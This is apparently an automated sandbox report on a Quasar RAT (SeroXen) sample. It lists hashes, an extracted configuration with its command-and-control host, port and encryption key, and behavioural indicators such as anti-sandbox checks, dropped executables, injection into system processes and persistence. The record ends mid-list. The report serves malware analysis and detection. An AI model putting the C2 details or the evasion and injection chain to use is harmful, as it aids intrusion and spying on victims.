quasar | e3b738d063a721f7fbc486125d6ff34e238f1f1ff5561af2b6db80eec5ae5654

General

Target

DarkMoon_Gen_1-3/lib/uni.bat
Size

12.6MB
MD5

8e3d8ed6db7cb979d5d56c8b847cc965
SHA1

5d1ad752a988ce13da601448cdca5584610cffee
SHA256

9d0b440b61b239bc3406d67bf7ae8baf1ceef65923e8558ce3a3c1a3c4a5e22a
SHA512

d7a96420b1e61c4bc7db6c533704771e329239629201dbf34ac8a95a931da92c6e1d7ddb694a491656246b0eb491e96d194b7abccf54ef757c1aea92a9b96a0e
SSDEEP

49152:Hq8mcjsXbvlusR48pNIN/I/EiFTPbYWLP17DFNkKuri3NSbkpXYyr7arOR150kFB:o

Score

10^/10

quasar v2.2.6 | seroxen spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.0.0.0

Botnet

v2.2.6 | SeroXen

C2

seroooooxeen.chickenkiller.com:5059

Mutex

f953c0af-702a-46b5-ad07-d900b11c5cd9

Attributes

encryption_key
458790DC6E62EEB3043B4566BF95CDAF711F1EC0
install_name
.exe
log_directory
$sxr-Logs
reconnect_delay
3000

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

Processes:

resource	yara_rule
behavioral3/memory/2308-61-0x000001F6EF150000-0x000001F6EF91A000-memory.dmp	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs

Processes:

uni.bat.exe$sxr-powershell.exe

description	pid	process	target process
PID 4320 created 608	4320	uni.bat.exe	winlogon.exe
PID 2308 created 608	2308	$sxr-powershell.exe	winlogon.exe
PID 2308 created 608	2308	$sxr-powershell.exe	winlogon.exe
PID 4320 created 608	4320	uni.bat.exe	winlogon.exe
PID 2308 created 608	2308	$sxr-powershell.exe	winlogon.exe
PID 2308 created 608	2308	$sxr-powershell.exe	winlogon.exe
PID 2308 created 608	2308	$sxr-powershell.exe	winlogon.exe
PID 2308 created 608	2308	$sxr-powershell.exe	winlogon.exe
PID 2308 created 608	2308	$sxr-powershell.exe	winlogon.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

$sxr-mshta.exeuni.bat.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation	$sxr-mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation	uni.bat.exe

Executes dropped EXE 5 IoCs

Processes:

uni.bat.exe$sxr-mshta.exe$sxr-cmd.exe$sxr-powershell.exe$sxr-powershell.exe

pid process

4320 uni.bat.exe
4424 $sxr-mshta.exe
3988 $sxr-cmd.exe
2308 $sxr-powershell.exe
400 $sxr-powershell.exe

Drops file in System32 directory 11 IoCs

Processes:

svchost.exeOfficeClickToRun.exesvchost.exe

description	ioc	process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe

Suspicious use of SetThreadContext 18 IoCs

Processes:

uni.bat.exe$sxr-powershell.exe

description	pid	process	target process
PID 4320 set thread context of 4136	4320	uni.bat.exe	dllhost.exe
PID 4320 set thread context of 4236	4320	uni.bat.exe	dllhost.exe
PID 2308 set thread context of 2888	2308	$sxr-powershell.exe	dllhost.exe
PID 2308 set thread context of 748	2308	$sxr-powershell.exe	dllhost.exe
PID 2308 set thread context of 4124	2308	$sxr-powershell.exe	dllhost.exe
PID 2308 set thread context of 3100	2308	$sxr-powershell.exe	dllhost.exe
PID 4320 set thread context of 2184	4320	uni.bat.exe	dllhost.exe
PID 4320 set thread context of 4768	4320	uni.bat.exe	dllhost.exe
PID 2308 set thread context of 5696	2308	$sxr-powershell.exe	dllhost.exe
PID 2308 set thread context of 5964	2308	$sxr-powershell.exe	dllhost.exe
PID 2308 set thread context of 6072	2308	$sxr-powershell.exe	dllhost.exe
PID 2308 set thread context of 5488	2308	$sxr-powershell.exe	dllhost.exe
PID 2308 set thread context of 5920	2308	$sxr-powershell.exe	dllhost.exe
PID 2308 set thread context of 3708	2308	$sxr-powershell.exe	dllhost.exe
PID 2308 set thread context of 1520	2308	$sxr-powershell.exe	dllhost.exe
PID 2308 set thread context of 5436	2308	$sxr-powershell.exe	dllhost.exe
PID 2308 set thread context of 616	2308	$sxr-powershell.exe	dllhost.exe
PID 2308 set thread context of 5324	2308	$sxr-powershell.exe	dllhost.exe

Drops file in Windows directory 6 IoCs

Processes:

uni.bat.exe

description	ioc	process
File created	C:\Windows\$sxr-mshta.exe	uni.bat.exe
File opened for modification	C:\Windows\$sxr-mshta.exe	uni.bat.exe
File created	C:\Windows\$sxr-cmd.exe	uni.bat.exe
File opened for modification	C:\Windows\$sxr-cmd.exe	uni.bat.exe
File created	C:\Windows\$sxr-powershell.exe	uni.bat.exe
File opened for modification	C:\Windows\$sxr-powershell.exe	uni.bat.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

svchost.exe

description	ioc	process
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

wmiprvse.exe

description ioc process

Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe
Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

5732 taskkill.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe

pid	process
5732	taskkill.exe

Modifies data under HKEY_USERS 55 IoCs

Processes:

svchost.exeOfficeClickToRun.exesvchost.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={5259035C-F981-4DC7-B468-06F33B83B4B9}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1717341230"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs	svchost.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs	svchost.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Sun, 02 Jun 2024 15:13:51 GMT"	OfficeClickToRun.exe

Modifies registry class 1 IoCs

Processes:

$sxr-mshta.exe

description ioc process

Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ $sxr-mshta.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

6056 PING.EXE

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	$sxr-mshta.exe

pid	process
6056	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

uni.bat.exedllhost.exedllhost.exe$sxr-powershell.exedllhost.exedllhost.exe$sxr-powershell.exedllhost.exedllhost.exe

pid	process
4320	uni.bat.exe
4320	uni.bat.exe
4320	uni.bat.exe
4136	dllhost.exe
4136	dllhost.exe
4136	dllhost.exe
4236	dllhost.exe
4236	dllhost.exe
4236	dllhost.exe
4236	dllhost.exe
4136	dllhost.exe
4136	dllhost.exe
4320	uni.bat.exe
4320	uni.bat.exe
2308	$sxr-powershell.exe
2308	$sxr-powershell.exe
2308	$sxr-powershell.exe
2308	$sxr-powershell.exe
2888	dllhost.exe
2888	dllhost.exe
748	dllhost.exe
748	dllhost.exe
748	dllhost.exe
748	dllhost.exe
2888	dllhost.exe
2888	dllhost.exe
2308	$sxr-powershell.exe
2308	$sxr-powershell.exe
400	$sxr-powershell.exe
400	$sxr-powershell.exe
400	$sxr-powershell.exe
400	$sxr-powershell.exe
2308	$sxr-powershell.exe
4124	dllhost.exe
4124	dllhost.exe
4124	dllhost.exe
4124	dllhost.exe
3100	dllhost.exe
3100	dllhost.exe
3100	dllhost.exe
3100	dllhost.exe
4124	dllhost.exe
4124	dllhost.exe
3100	dllhost.exe
3100	dllhost.exe
4124	dllhost.exe
4124	dllhost.exe
3100	dllhost.exe
3100	dllhost.exe
4124	dllhost.exe
4124	dllhost.exe
3100	dllhost.exe
3100	dllhost.exe
4124	dllhost.exe
4124	dllhost.exe
3100	dllhost.exe
3100	dllhost.exe
4124	dllhost.exe
4124	dllhost.exe
3100	dllhost.exe
3100	dllhost.exe
4124	dllhost.exe
4124	dllhost.exe
3100	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

uni.bat.exedllhost.exedllhost.exe$sxr-powershell.exedllhost.exedllhost.exe$sxr-powershell.exedllhost.exedllhost.exesvchost.exe

description	pid	process
Token: SeDebugPrivilege	4320	uni.bat.exe
Token: SeDebugPrivilege	4320	uni.bat.exe
Token: SeDebugPrivilege	4136	dllhost.exe
Token: SeDebugPrivilege	4236	dllhost.exe
Token: SeDebugPrivilege	2308	$sxr-powershell.exe
Token: SeDebugPrivilege	2308	$sxr-powershell.exe
Token: SeDebugPrivilege	2888	dllhost.exe
Token: SeDebugPrivilege	748	dllhost.exe
Token: SeDebugPrivilege	400	$sxr-powershell.exe
Token: SeDebugPrivilege	2308	$sxr-powershell.exe
Token: SeDebugPrivilege	4124	dllhost.exe
Token: SeDebugPrivilege	3100	dllhost.exe
Token: SeAssignPrimaryTokenPrivilege	1572	svchost.exe
Token: SeIncreaseQuotaPrivilege	1572	svchost.exe
Token: SeSecurityPrivilege	1572	svchost.exe
Token: SeTakeOwnershipPrivilege	1572	svchost.exe
Token: SeLoadDriverPrivilege	1572	svchost.exe
Token: SeSystemtimePrivilege	1572	svchost.exe
Token: SeBackupPrivilege	1572	svchost.exe
Token: SeRestorePrivilege	1572	svchost.exe
Token: SeShutdownPrivilege	1572	svchost.exe
Token: SeSystemEnvironmentPrivilege	1572	svchost.exe
Token: SeUndockPrivilege	1572	svchost.exe
Token: SeManageVolumePrivilege	1572	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1572	svchost.exe
Token: SeIncreaseQuotaPrivilege	1572	svchost.exe
Token: SeSecurityPrivilege	1572	svchost.exe
Token: SeTakeOwnershipPrivilege	1572	svchost.exe
Token: SeLoadDriverPrivilege	1572	svchost.exe
Token: SeSystemtimePrivilege	1572	svchost.exe
Token: SeBackupPrivilege	1572	svchost.exe
Token: SeRestorePrivilege	1572	svchost.exe
Token: SeShutdownPrivilege	1572	svchost.exe
Token: SeSystemEnvironmentPrivilege	1572	svchost.exe
Token: SeUndockPrivilege	1572	svchost.exe
Token: SeManageVolumePrivilege	1572	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1572	svchost.exe
Token: SeIncreaseQuotaPrivilege	1572	svchost.exe
Token: SeSecurityPrivilege	1572	svchost.exe
Token: SeTakeOwnershipPrivilege	1572	svchost.exe
Token: SeLoadDriverPrivilege	1572	svchost.exe
Token: SeSystemtimePrivilege	1572	svchost.exe
Token: SeBackupPrivilege	1572	svchost.exe
Token: SeRestorePrivilege	1572	svchost.exe
Token: SeShutdownPrivilege	1572	svchost.exe
Token: SeSystemEnvironmentPrivilege	1572	svchost.exe
Token: SeUndockPrivilege	1572	svchost.exe
Token: SeManageVolumePrivilege	1572	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1572	svchost.exe
Token: SeIncreaseQuotaPrivilege	1572	svchost.exe
Token: SeSecurityPrivilege	1572	svchost.exe
Token: SeTakeOwnershipPrivilege	1572	svchost.exe
Token: SeLoadDriverPrivilege	1572	svchost.exe
Token: SeSystemtimePrivilege	1572	svchost.exe
Token: SeBackupPrivilege	1572	svchost.exe
Token: SeRestorePrivilege	1572	svchost.exe
Token: SeShutdownPrivilege	1572	svchost.exe
Token: SeSystemEnvironmentPrivilege	1572	svchost.exe
Token: SeUndockPrivilege	1572	svchost.exe
Token: SeManageVolumePrivilege	1572	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1572	svchost.exe
Token: SeIncreaseQuotaPrivilege	1572	svchost.exe
Token: SeSecurityPrivilege	1572	svchost.exe
Token: SeTakeOwnershipPrivilege	1572	svchost.exe

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

$sxr-powershell.exeConhost.exe

pid process

2308 $sxr-powershell.exe
5500 Conhost.exe
Suspicious use of UnmapMainImage 1 IoCs

Processes:

Explorer.EXE

pid process

3532 Explorer.EXE

pid	process
2308	$sxr-powershell.exe
5500	Conhost.exe

pid	process
3532	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cmd.exeuni.bat.exe$sxr-mshta.exe$sxr-cmd.exe$sxr-powershell.exedllhost.exe

description	pid	process	target process
PID 4848 wrote to memory of 4320	4848	cmd.exe	uni.bat.exe
PID 4848 wrote to memory of 4320	4848	cmd.exe	uni.bat.exe
PID 4320 wrote to memory of 4136	4320	uni.bat.exe	dllhost.exe
PID 4320 wrote to memory of 4136	4320	uni.bat.exe	dllhost.exe
PID 4320 wrote to memory of 4136	4320	uni.bat.exe	dllhost.exe
PID 4320 wrote to memory of 4136	4320	uni.bat.exe	dllhost.exe
PID 4320 wrote to memory of 4136	4320	uni.bat.exe	dllhost.exe
PID 4320 wrote to memory of 4136	4320	uni.bat.exe	dllhost.exe
PID 4320 wrote to memory of 4136	4320	uni.bat.exe	dllhost.exe
PID 4320 wrote to memory of 4236	4320	uni.bat.exe	dllhost.exe
PID 4320 wrote to memory of 4236	4320	uni.bat.exe	dllhost.exe
PID 4320 wrote to memory of 4236	4320	uni.bat.exe	dllhost.exe
PID 4320 wrote to memory of 4236	4320	uni.bat.exe	dllhost.exe
PID 4320 wrote to memory of 4236	4320	uni.bat.exe	dllhost.exe
PID 4320 wrote to memory of 4236	4320	uni.bat.exe	dllhost.exe
PID 4320 wrote to memory of 4236	4320	uni.bat.exe	dllhost.exe
PID 4320 wrote to memory of 4236	4320	uni.bat.exe	dllhost.exe
PID 4320 wrote to memory of 4236	4320	uni.bat.exe	dllhost.exe
PID 4424 wrote to memory of 3988	4424	$sxr-mshta.exe	$sxr-cmd.exe
PID 4424 wrote to memory of 3988	4424	$sxr-mshta.exe	$sxr-cmd.exe
PID 3988 wrote to memory of 2308	3988	$sxr-cmd.exe	$sxr-powershell.exe
PID 3988 wrote to memory of 2308	3988	$sxr-cmd.exe	$sxr-powershell.exe
PID 2308 wrote to memory of 2888	2308	$sxr-powershell.exe	dllhost.exe
PID 2308 wrote to memory of 2888	2308	$sxr-powershell.exe	dllhost.exe
PID 2308 wrote to memory of 2888	2308	$sxr-powershell.exe	dllhost.exe
PID 2308 wrote to memory of 2888	2308	$sxr-powershell.exe	dllhost.exe
PID 2308 wrote to memory of 2888	2308	$sxr-powershell.exe	dllhost.exe
PID 2308 wrote to memory of 2888	2308	$sxr-powershell.exe	dllhost.exe
PID 2308 wrote to memory of 2888	2308	$sxr-powershell.exe	dllhost.exe
PID 2308 wrote to memory of 748	2308	$sxr-powershell.exe	dllhost.exe
PID 2308 wrote to memory of 748	2308	$sxr-powershell.exe	dllhost.exe
PID 2308 wrote to memory of 748	2308	$sxr-powershell.exe	dllhost.exe
PID 2308 wrote to memory of 748	2308	$sxr-powershell.exe	dllhost.exe
PID 2308 wrote to memory of 748	2308	$sxr-powershell.exe	dllhost.exe
PID 2308 wrote to memory of 748	2308	$sxr-powershell.exe	dllhost.exe
PID 2308 wrote to memory of 748	2308	$sxr-powershell.exe	dllhost.exe
PID 2308 wrote to memory of 748	2308	$sxr-powershell.exe	dllhost.exe
PID 2308 wrote to memory of 748	2308	$sxr-powershell.exe	dllhost.exe
PID 2308 wrote to memory of 400	2308	$sxr-powershell.exe	$sxr-powershell.exe
PID 2308 wrote to memory of 400	2308	$sxr-powershell.exe	$sxr-powershell.exe
PID 2308 wrote to memory of 4124	2308	$sxr-powershell.exe	dllhost.exe
PID 2308 wrote to memory of 4124	2308	$sxr-powershell.exe	dllhost.exe
PID 2308 wrote to memory of 4124	2308	$sxr-powershell.exe	dllhost.exe
PID 2308 wrote to memory of 4124	2308	$sxr-powershell.exe	dllhost.exe
PID 2308 wrote to memory of 4124	2308	$sxr-powershell.exe	dllhost.exe
PID 2308 wrote to memory of 4124	2308	$sxr-powershell.exe	dllhost.exe
PID 2308 wrote to memory of 4124	2308	$sxr-powershell.exe	dllhost.exe
PID 2308 wrote to memory of 4124	2308	$sxr-powershell.exe	dllhost.exe
PID 2308 wrote to memory of 4124	2308	$sxr-powershell.exe	dllhost.exe
PID 2308 wrote to memory of 3100	2308	$sxr-powershell.exe	dllhost.exe
PID 2308 wrote to memory of 3100	2308	$sxr-powershell.exe	dllhost.exe
PID 2308 wrote to memory of 3100	2308	$sxr-powershell.exe	dllhost.exe
PID 2308 wrote to memory of 3100	2308	$sxr-powershell.exe	dllhost.exe
PID 2308 wrote to memory of 3100	2308	$sxr-powershell.exe	dllhost.exe
PID 2308 wrote to memory of 3100	2308	$sxr-powershell.exe	dllhost.exe
PID 2308 wrote to memory of 3100	2308	$sxr-powershell.exe	dllhost.exe
PID 2308 wrote to memory of 3100	2308	$sxr-powershell.exe	dllhost.exe
PID 2308 wrote to memory of 3100	2308	$sxr-powershell.exe	dllhost.exe
PID 2308 wrote to memory of 3100	2308	$sxr-powershell.exe	dllhost.exe
PID 4124 wrote to memory of 608	4124	dllhost.exe	winlogon.exe
PID 4124 wrote to memory of 664	4124	dllhost.exe	lsass.exe
PID 4124 wrote to memory of 948	4124	dllhost.exe	svchost.exe
PID 4124 wrote to memory of 316	4124	dllhost.exe	dwm.exe
PID 4124 wrote to memory of 388	4124	dllhost.exe	svchost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Views/modifies file attributes 1 TTPs 1 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exe

pid process

6140 attrib.exe

pid	process
6140	attrib.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:608

C:\Windows\system32\dwm.exe
"dwm.exe"
2⤵
PID:316

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{630eb10f-4ac4-4689-9120-c7d6e3dcbb23}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4136

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{d958f88c-ec4e-4a46-bb04-cc9036e7ba5d}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2888

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{eae8ffaa-57d4-45d5-8e4a-78bf21155173}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4124

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{9167e95d-b083-4099-972a-55fcf32e276f}
2⤵
PID:2184

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{5f33112a-1f6a-4882-9437-3753d2de4ec7}
2⤵
PID:5696

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{5f74e529-4a9b-4aed-9750-4b2ae653e2be}
2⤵
PID:6072

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{09fe0810-f89f-4421-a73b-d913114ad97e}
2⤵
PID:5920

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{979e5595-8793-4559-8ebd-43162231b357}
2⤵
PID:1520

C:\Windows\System32\dllhost.exe
